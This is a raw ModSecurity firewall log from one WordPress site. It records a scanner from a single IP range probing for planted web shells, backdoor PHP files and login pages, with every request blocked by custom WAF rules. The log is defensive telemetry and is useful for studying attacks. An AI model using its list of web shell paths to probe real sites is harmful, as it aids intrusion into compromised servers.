[Sat Feb 28 08:44:55.425227 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.20:23415] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/file.php"] [unique_id "aaI6h2uX5e1Q32gqxH0ZYgAAARU"]
[Sat Feb 28 08:44:57.208777 2026] [:error] [pid 22194:tid 22204] [client 173.244.55.31:42673] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaI6iX6mbajs3bzQGyuXXAAAAUg"]
[Sat Feb 28 08:44:58.536074 2026] [:error] [pid 11791:tid 11803] [client 173.244.55.28:55569] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaI6imuX5e1Q32gqxH0ZqwAAAQo"]
[Sat Feb 28 08:44:59.850015 2026] [:error] [pid 39185:tid 39246] [client 173.244.55.25:36847] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd-1/admin.php"] [unique_id "aaI6ixVE-FfM89u7BQadgwAAAIA"]
[Sat Feb 28 08:45:01.181203 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.30:55065] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aaI6jaIAO5fN7BxyqcEswAAAAMM"]
[Sat Feb 28 08:45:02.069890 2026] [:error] [pid 39292:tid 39301] [client 173.244.55.23:36189] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/DJP9.php"] [unique_id "aaI6jqIAO5fN7BxyqcEs1QAAAMc"]
[Sat Feb 28 08:45:02.947975 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.22:60419] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/DJP9.php"] [unique_id "aaI6jn6mbajs3bzQGyuXnAAAAVQ"]
[Sat Feb 28 08:45:03.832041 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.23:41925] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/DJP9.php"] [unique_id "aaI6j2uX5e1Q32gqxH0Z_wAAAQk"]
[Sat Feb 28 08:45:05.169742 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.20:43227] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aaI6kX6mbajs3bzQGyuX3AAAAU4"]
[Sat Feb 28 08:45:07.413959 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.23:48341] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function/function.php"] [unique_id "aaI6k2uX5e1Q32gqxH0aXQAAARU"]
[Sat Feb 28 08:45:08.755008 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.29:44153] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaI6lH6mbajs3bzQGyuYAAAAAUU"]
[Sat Feb 28 08:45:10.085822 2026] [:error] [pid 39292:tid 39300] [client 173.244.55.28:48127] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaI6lqIAO5fN7BxyqcEtQgAAAMY"]
[Sat Feb 28 08:45:10.958301 2026] [:error] [pid 39184:tid 39220] [client 173.244.55.20:52935] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aaI6lltZF9Zd_U7easB70gAAAEE"]
[Sat Feb 28 08:45:12.288313 2026] [:error] [pid 11791:tid 11808] [client 173.244.55.22:29257] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaI6mGuX5e1Q32gqxH0aqQAAAQ8"]
[Sat Feb 28 08:45:13.186887 2026] [:error] [pid 22194:tid 22218] [client 173.244.55.30:57529] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaI6mX6mbajs3bzQGyuYPgAAAVY"]
[Sat Feb 28 08:45:14.056405 2026] [:error] [pid 39292:tid 39313] [client 173.244.55.26:55455] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaI6mqIAO5fN7BxyqcEtawAAANM"]
[Sat Feb 28 08:45:14.946786 2026] [:error] [pid 22194:tid 22215] [client 173.244.55.20:42719] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/404.php"] [unique_id "aaI6mn6mbajs3bzQGyuYVQAAAVM"]
[Sat Feb 28 08:45:16.276884 2026] [:error] [pid 39185:tid 39261] [client 173.244.55.23:48961] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/403.php"] [unique_id "aaI6nBVE-FfM89u7BQaeZAAAAI8"]
[Sat Feb 28 08:45:17.639542 2026] [:error] [pid 39183:tid 39197] [client 173.244.55.28:56899] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aaI6nRCf4HvhVePw3LaeNAAAAAU"]
[Sat Feb 28 08:45:18.514670 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.20:22589] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aaI6nmuX5e1Q32gqxH0bCQAAARU"]
[Sat Feb 28 08:45:19.846624 2026] [:error] [pid 39183:tid 39209] [client 173.244.55.21:32829] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aaI6nxCf4HvhVePw3LaePQAAABE"]
[Sat Feb 28 08:45:20.726228 2026] [:error] [pid 39184:tid 39242] [client 173.244.55.21:46291] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aaI6oFtZF9Zd_U7easB8NgAAAFc"]
[Sat Feb 28 08:45:21.610469 2026] [:error] [pid 39183:tid 39197] [client 173.244.55.26:43253] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaI6oRCf4HvhVePw3LaeRQAAAAU"]
[Sat Feb 28 08:45:26.344805 2026] [:error] [pid 39183:tid 39199] [client 173.244.55.23:46575] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/mariju.php"] [unique_id "aaI6phCf4HvhVePw3LaeYAAAAAc"]
[Sat Feb 28 08:45:27.671914 2026] [:error] [pid 39183:tid 39208] [client 173.244.55.25:64811] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mah/function.php"] [unique_id "aaI6pxCf4HvhVePw3LaeZgAAABA"]
[Sat Feb 28 08:45:29.426303 2026] [:error] [pid 39184:tid 39242] [client 173.244.55.30:25151] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aaI6qVtZF9Zd_U7easB8lAAAAFc"]
[Sat Feb 28 08:45:30.308129 2026] [:error] [pid 39292:tid 39311] [client 173.244.55.21:43021] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/tflow/up.php"] [unique_id "aaI6qqIAO5fN7BxyqcEuKAAAANE"]
[Sat Feb 28 08:45:32.074937 2026] [:error] [pid 39185:tid 39255] [client 173.244.55.26:44707] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez3/index.php"] [unique_id "aaI6rBVE-FfM89u7BQafCwAAAIk"]
[Sat Feb 28 08:45:33.411615 2026] [:error] [pid 11791:tid 11798] [client 173.244.55.25:44099] [client 173.244.55.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.25, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaI6rWuX5e1Q32gqxH0bsgAAAQU"]
[Sat Feb 28 08:45:34.298308 2026] [:error] [pid 11791:tid 11813] [client 173.244.55.25:44099] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/rk2.php"] [unique_id "aaI6rmuX5e1Q32gqxH0bwgAAARQ"]
[Sat Feb 28 08:45:35.616676 2026] [:error] [pid 22194:tid 22214] [client 173.244.55.30:48123] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/class-config.php"] [unique_id "aaI6r36mbajs3bzQGyuZSwAAAVI"]
[Sat Feb 28 08:45:38.276923 2026] [:error] [pid 11791:tid 11796] [client 173.244.55.25:37469] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aaI6smuX5e1Q32gqxH0b9QAAAQM"]
[Sat Feb 28 08:45:40.930077 2026] [:error] [pid 39292:tid 39312] [client 173.244.55.20:23563] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/ask.php"] [unique_id "aaI6tKIAO5fN7BxyqcEumAAAANI"]
[Sat Feb 28 08:45:43.159996 2026] [:error] [pid 39185:tid 39250] [client 173.244.55.29:21981] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaI6txVE-FfM89u7BQafWwAAAIQ"]
[Sat Feb 28 08:45:44.031766 2026] [:error] [pid 39183:tid 39212] [client 173.244.55.30:22503] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/css.php"] [unique_id "aaI6uBCf4HvhVePw3LaelQAAABQ"]
[Sat Feb 28 08:45:45.805560 2026] [:error] [pid 39184:tid 39238] [client 173.244.55.22:63941] [client 173.244.55.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.22, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaI6uVtZF9Zd_U7easB88wAAAFM"]
[Sat Feb 28 08:45:46.250507 2026] [:error] [pid 39184:tid 39223] [client 173.244.55.22:63941] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap/function.php"] [unique_id "aaI6ultZF9Zd_U7easB8-QAAAEQ"]
[Sat Feb 28 08:45:47.142084 2026] [:error] [pid 39292:tid 39301] [client 173.244.55.25:21863] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap/function.php"] [unique_id "aaI6u6IAO5fN7BxyqcEu0gAAAMc"]
[Sat Feb 28 08:45:48.015017 2026] [:error] [pid 39184:tid 39221] [client 173.244.55.31:45713] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap/function.php"] [unique_id "aaI6vFtZF9Zd_U7easB9BQAAAEI"]
[Sat Feb 28 08:45:48.883904 2026] [:error] [pid 39183:tid 39200] [client 173.244.55.25:52061] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap/function.php"] [unique_id "aaI6vBCf4HvhVePw3LaeywAAAAg"]
[Sat Feb 28 08:45:50.220840 2026] [:error] [pid 39185:tid 39256] [client 173.244.55.20:25005] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aaI6vhVE-FfM89u7BQafowAAAIo"]
[Sat Feb 28 08:45:54.681803 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.26:48891] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aaI6wmuX5e1Q32gqxH0dIQAAARU"]
[Sat Feb 28 08:45:56.917670 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.21:29797] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-header.php"] [unique_id "aaI6xGuX5e1Q32gqxH0dRQAAARU"]
[Sat Feb 28 08:46:00.073632 2026] [:error] [pid 39185:tid 39265] [client 173.244.55.22:62567] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaI6yBVE-FfM89u7BQagDQAAAJM"]
[Sat Feb 28 08:46:01.859526 2026] [:error] [pid 39183:tid 39199] [client 173.244.55.26:29197] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aaI6yRCf4HvhVePw3Lae-wAAAAc"]
[Sat Feb 28 08:46:04.064206 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.21:29549] [client 173.244.55.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.21, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaI6zGuX5e1Q32gqxH0dvAAAAQk"]
[Sat Feb 28 08:46:04.509459 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.21:29549] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aaI6zGuX5e1Q32gqxH0dygAAAQI"]
[Sat Feb 28 08:46:08.996482 2026] [:error] [pid 39184:tid 39223] [client 173.244.55.29:45447] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/class.php"] [unique_id "aaI60FtZF9Zd_U7easB9tAAAAEQ"]
[Sat Feb 28 08:46:13.035722 2026] [:error] [pid 39185:tid 39267] [client 173.244.55.30:28487] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/install.php"] [unique_id "aaI61RVE-FfM89u7BQagqwAAAJU"]
[Sat Feb 28 08:46:14.804346 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.28:56403] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aaI61muX5e1Q32gqxH0eoAAAAQk"]
[Sat Feb 28 08:46:17.031469 2026] [:error] [pid 22194:tid 22206] [client 173.244.55.28:25367] [client 173.244.55.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.28, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aaI62X6mbajs3bzQGyub5wAAAUo"]
[Sat Feb 28 08:46:18.384698 2026] [:error] [pid 22194:tid 22214] [client 173.244.55.28:25367] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-themes.php"] [unique_id "aaI62n6mbajs3bzQGyub-AAAAVI"]
[Sat Feb 28 08:46:19.709550 2026] [:error] [pid 11791:tid 11817] [client 173.244.55.31:27741] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aaI622uX5e1Q32gqxH0e7AAAARg"]
[Sat Feb 28 08:46:20.599620 2026] [:error] [pid 39184:tid 39219] [client 173.244.55.29:37577] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aaI63FtZF9Zd_U7easB-GgAAAEA"]
